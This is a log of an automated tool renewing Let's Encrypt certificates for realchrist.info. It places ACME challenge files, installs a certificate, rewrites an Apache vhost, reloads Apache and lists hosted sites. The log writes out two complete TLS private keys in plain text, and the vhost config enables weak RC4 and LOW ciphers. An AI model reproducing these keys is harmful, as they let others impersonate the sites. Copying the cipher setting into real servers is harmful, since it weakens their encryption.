zcz6izT3N4VvjAcxCmmqVeYbIU0mvGG8KjIlZes1ZmI//WRu9U5xPu0oAhx2kexR
tF8x6bgE+eNsTkLJgSpTuJO4yUh3BWECAwEAAaOCAj8wggI7MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUk1UPifWzlVNdQJn59wouc8pyUpYwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NjAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZjuitdwAABAMASDBGAiEArtDKc8u9vj1Jnpai
D2Y8SZ6sYqEqlYjepLJ1j+jg2mwCIQDyq3Oe9u32ghfEJHq6/71exFItYgk8zcMG
N5D4mLSdQgB2AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmY7o
rcEAAAQDAEcwRQIhANWIa/IWd2Pe0udJb9jMaoQKjL6+zzx+6mEylCKm1AzNAiBC
7gOAAJ3Y8Ojht+vD8FSw1Xay1TFw08TM5t3PPbU0ZTANBgkqhkiG9w0BAQsFAAOC
AQEAHg3rQ9rOMKw6m+3ujMjd7IiXOoxtPQdG6S3W0NWf1jP59Gs1l7OSsxAsBzI0
S/f+mpgfkOt0y+6tD2pROtHJ2RB++lAethhvwXibnEkakbvbSESArJJ/99evqrek
v6poPxDhKEvmvb61AVAdZH1WR+S7q3q/CZkgxMzAOvpxUV18Fe7Az/IwXVxzmreE
7LQO53B/YLK+RuJKuVN6wvXzftHlK9y3NoVuUf+U4Ko1raSfRp68Ushv5g5Bzo+U
TjQRTz8hH26cEbB3pc1e+aY/63QP6eESbqPjpLb2i9dkVRO3WuiSHNKnLbzoRxoX
xxiarnrvacws/Lj3RNmf6RFdLw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQD4ypAy9l4TQoCA
xhH7JLMzpKMW4SBoOygG22eVFy6cWn+rNBWS7tSuiqXxFuhfslKZCoeEQwsrBAdg
nIcZS8iByAXbueugurdcv8s6SSwwnhH6+nTD9kSFc95lq0XBYsGKVDKUAaGK9K3F
51E0WtpBUy/X5z1zfo3jar8vtp8MpkXFnghVjgbRJ8Glw7bPXqqRldo8w29J+obX
dWAhP2RcvUICMbPwG1JJICpBlWXEEQCPg4dzrS4vLM3M+os09zeFb4wHMQppqlXm
GyFNJrxhvCoyJWXrNWZiP/1kbvVOcT7tKAIcdpHsUbRfMem4BPnjbE5CyYEqU7iT
uMlIdwVhAgMBAAECggEBAIpHvEI3IS6/RcFNVe0rBtdraKJs2qBUUPkOtdHuIqAQ
xOkZd+xFBr1EntsTinC2IqahbZUb1ndANAGEvqpWrslDrc3k1oxte0D38TMiPIeB
NCk1T/UjSg6Kyk/kFE9aXoxOJBaTmYAsYvGekknxPWIVpH/yLPummaKPUFhqvpg+
MfZXJDZsSr1gDLjjKkMnUssTW2wKheagchKhXi5fHwdCmhG4xp+Az24HTQKR1WHn
Ciyt4G22WZu2KP2VJNeCL5o8VuIwchDeS5hP5CDf2Q6Pb0L/xPf5V7m+7c9HXE+E
lStkRXcMhr3XBlSWAJhz6Rf+YHeDcjzKnwbxvBG/y4ECgYEA/yVZj3j4TIi2Qbfd
GwwaE+TwWJ+iRLncZf2wN6LkZqcII8QAkpKWfpyVvzXf8adzqv0f+BCg9y+dDl1R
ydtSSsLmRYa0J4rlf6fNRwad4gENb4Px5433UZt905TYOwrGQUPN/oQZ/nnVFvxk
MITcDuYlaAdz4T3R72/ccdUaBHkCgYEA+Z/Ei6hOtYjQVYtQRcfWyMfmW1DSC8lZ
0Zwqxs6Ty45BVJSsASlKh871XLWqr+SygHyIGP87OPc2xOCq6rnkS4ksrm1uyU6t
7CqSwGSrq4MvsXwgdk/fh34yg+TG3zYKn1GMYmSUa+fI7ExpBMoL2oCiDG+8RtJm
LmNC8UgvPikCgYAVXJwt/fPT/JI92FYDwLSiO8W/tcXROTpxs5bAYbv7uDpfPDbM
DsfY2+VRuAIC6oEtrLmzfDjt2SeuHzQM0XcHWWAMLCYDNYbXdEYkjzJCzNHCJ2rm
dyVgyML1Jv4fm1xT9IhXqdm/S5YCsaj1wvnlqXEyT4VtM07TXCs5wJzICQKBgQDp
oWj5NSuFqGkkx2D4DpOuE7o8GSaeNXPFRR6cN9gIGjp3CTb7V0QUW9U1UipQugF/
VA6lJqytImO2XHhbfGR5dgfFsVKRQvxxH19+hjpOKlhHC1/um88gJzLsUwD3BMNo
XZDAvlZTr/pTfyiDfP8fIGmKrkFPH7jXDbwny2G8EQKBgQDx2oIwetHHjydG4mnT
qigptAJ8Lyj02DCR8OxStKLeaGYBXbRwlADgLDQOTPLg08/MDJ8V3S76vVuRzqBX
GXXY3XlKeguJ/QMBq8P18s4uzz3V0L8RxwSDspSA3XFIlI7DTeV/Vt7EGSozwiNy
AOEjFsfaaC3NH5gmTUCkigNQZg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-30 06:00:02: Establishing a connection
2025-09-30 06:00:03: Establishing a connection
2025-09-30 06:00:03: 

PUT: /tmp/pkp267285

#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-30 06:00:04: 

chmod 755 /tmp/pkp267285; /tmp/pkp267285; rm /tmp/pkp267285

2025-09-30 06:00:04: 


1


2025-09-30 06:00:05: Establishing a connection
2025-09-30 06:00:05: 

PUT: /tmp/pkp853090

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM
cat > 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU


2025-09-30 06:00:05: 

chmod 755 /tmp/pkp853090; /tmp/pkp853090; rm /tmp/pkp853090

2025-09-30 06:00:05: 




2025-09-30 06:00:15: Establishing a connection
2025-09-30 06:00:16: 

PUT: /tmp/pkp115407

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm DiGnkaAcWuGA0rDZCMjzye-eNcBHO8VQ95F3s5P-1gM
rm 9pD3qoS4hGgP7saA7b4kl4Jc0Vl5wYQJhR5loL-e0YU


2025-09-30 06:00:16: 

chmod 755 /tmp/pkp115407; /tmp/pkp115407; rm /tmp/pkp115407

2025-09-30 06:00:16: 




2025-09-30 06:00:16: Establishing a connection
2025-09-30 06:00:16: 

PUT: /tmp/pkp594147

#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt

cat > $temp_file <<'endmsg'
31:7b:19:9d:50:fa:64:33:85:fd:5f:6f:ae:65:64:f1

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBp7CHwLh/AqZJix9ISXQ2+N2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTQ1WhcNMjUxMjI5MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC4og69AOn09Ry/4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9
qP4KZ+wxzqqhmKOEFAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7
cV9xgJJRgsVhCK8/9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTX
yeYCMXAGjS1NSYWZH3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE
0xadcbGwLGoUBAIGWguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1U
BVqsh3bCN/35qXvVpcJ41ztvAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNpE4BtK9CoGsAG7Am+pRSJNaJy8MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQo
MCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE5LmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmZk1D30AAAQDAEYwRAIgDTe1OafXI7nSNOhVK2Gtg21d/UpFb8E+a6Ho
+/z/UQUCIBode/GU91lUdlSEfQpiPq0XVdz0/KzurcCo3jpzd3QsAHYAGYbUxyiq
b/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZmTUPigAABAMARzBFAiEAwz8O
SsBzUm8iv9WJJYCc4WXHYBsR8oc7B04rQ1C5FJ0CIBsU0Xq1uF/Gp+XbIyi7n/gF
aKaks5JukuAYyJsn0Bm5MA0GCSqGSIb3DQEBCwUAA4IBAQALsFVtvi78UTloGV0f
KfAZhBbvoXU+NflHSpKyLHAXedG/fDZhk81dxsCBAultJpnZCG6WegdVP68PDPgA
O6v8OyA0puL1YT0yeME3I93ujmPjppdS+U3BEOkQ3fTNh+nfmqYW+rQPr6Xrl5is
t/2MKiZ6u5IS4JF8tu1HEHjGUzhrUWmZ6VD06xAQAmXYeZdZ/epObY1isYWGLADf
beflyjYS5XnhGvsL5orlMoFnuIGQe2IcLLTpuilnIZQUB/Cty0iIjoZ4IlxLimyJ
Y/wwp/287uHPvcqgutQcjhfUFB6+2Icgei3Pw1buo9NwWABahhlKadzL5ERDeqWo
n2x4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC4og69AOn09Ry/
4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9qP4KZ+wxzqqhmKOE
FAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7cV9xgJJRgsVhCK8/
9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTXyeYCMXAGjS1NSYWZ
H3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE0xadcbGwLGoUBAIG
WguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1UBVqsh3bCN/35qXvV
pcJ41ztvAgMBAAECggEBAIqKT7TSsrr0EZaKSMzRUc+P+2bIdBxL7q7Rni7JQrEJ
khxhfL5IIgm0gygZ78VuwPDd+gWFpdOLzWaV/4ydjSEVVwDJ8ouphKvZn1rZpTfg
dXnLyVnVSDekV+7ArV+/OnbYmvI+xgyBj77Via7rxDTPEjbb4Tqmln0fBwZh/EEF
0rY3yVzObCi7vOIkeIdhZQuqWBGkftQFqh71X6wpqF9jBIj3rRJ3mqf0yeTFZBdo
xzhfIx++vvoko4g5odSVTNsCw15t5kzgCYgIeKp4svdyDzHwjNlQ7BjimL4q/ZfM
VLWNYFIh5KUJOVbtGAKcZWcTi6NrL42h6HPk+Wol/8ECgYEA3ooukKJXy9PFBg36
UiV9Kq6aTbGvywjyVLlcqD20mNFknv1bCAPK/PQe+Ji/I7DWyJ+DP91WpLmpTCV6
g9cr/x9iR4C+rkI3mMs4b8eJ9N8kL9sxseNdTHiuO7fJ4HkGadPc5YLqC3kbNinP
YaXPpznd40hcECA6PKUx6EcMnxMCgYEA1GTM/iSLIdfcxcZJMPa28tCS/d7GDziy
p+q3d0/XtNZkQJqiyJ3zPKrfyf8nK/fUS3QVpWV6Q/SfUAKFzbo0A/Vrq3sCmD02
iMHDcTsCxO3s8rBIwsdRicAYsenurb2YW/Y8ZgZkOD/oFPpvRh6hxeu5LefvvL57
VZCV7tsLkbUCgYAQXs/gGeElgFWNBXg1lMZpXmDBeGG7KNRSwTP8uFVRrI2fWHna
1BSZmQeyN+JPqNGT/o/0Ib8e7P10OYmSq0B0SwW6xtDAFuTqG4DyUBZo6gVKc/Bq
6pPRbUs732A9YAnFvS0RwRigcW88A8VapIzq+0nET21eTlCaZ3iNYrSd+wKBgHbJ
LXDRpVK3NI0T+ak9wlII3rzHVAP9VMXe2t8Ks3w7D3SmR3ZmCDyc4G5Lmm/Xuk68
zMJk/71z2YnY71aA1kiEgMQ2FtxoF9DidVklhMX4vzV37CmraendmrIeQFPBHq4I
B/2Tg4eGDll1Orh/t0BHNpj7B7SK39WZ+JDOxyilAoGATMxWkac1bnY629YeWZkq
kP/JLX+fKxqN3RkYPz+1ARnEAEiqN6SKEJ3eNirnRLYl5zBnpImYETqw/LZeFhTM
HOwMnl77vhq1EjepgyqoH2EkYFneKnM3yIlVGN0iqywpWxcR1kgo6MXaguEfcYJy
Fv5mOsvvQ6Zbfr/BFjW17Ns=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-30 06:00:16: 

chmod 755 /tmp/pkp594147; /tmp/pkp594147; rm /tmp/pkp594147

2025-09-30 06:00:16: 


dir=/etc/ssl/certs


2025-09-30 06:00:16: 

PUT: /tmp/pkp507240

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-30 06:00:16: 

chmod 755 /tmp/pkp507240; /tmp/pkp507240; rm /tmp/pkp507240

2025-09-30 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-30 06:00:16: 

PUT: /tmp/pkp978038

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi


2025-09-30 06:00:16: 

chmod 755 /tmp/pkp978038; /tmp/pkp978038; rm /tmp/pkp978038

2025-09-30 06:00:16: 




2025-09-30 06:00:16: 

PUT: /tmp/pkp197612

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-30 06:00:16: 

chmod 755 /tmp/pkp197612; /tmp/pkp197612; rm /tmp/pkp197612

2025-09-30 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-30 06:00:16: Establishing a connection
2025-09-30 06:00:16: 

PUT: /tmp/pkp389558

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-30 06:00:16: 

chmod 755 /tmp/pkp389558; /tmp/pkp389558; rm /tmp/pkp389558

2025-09-30 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
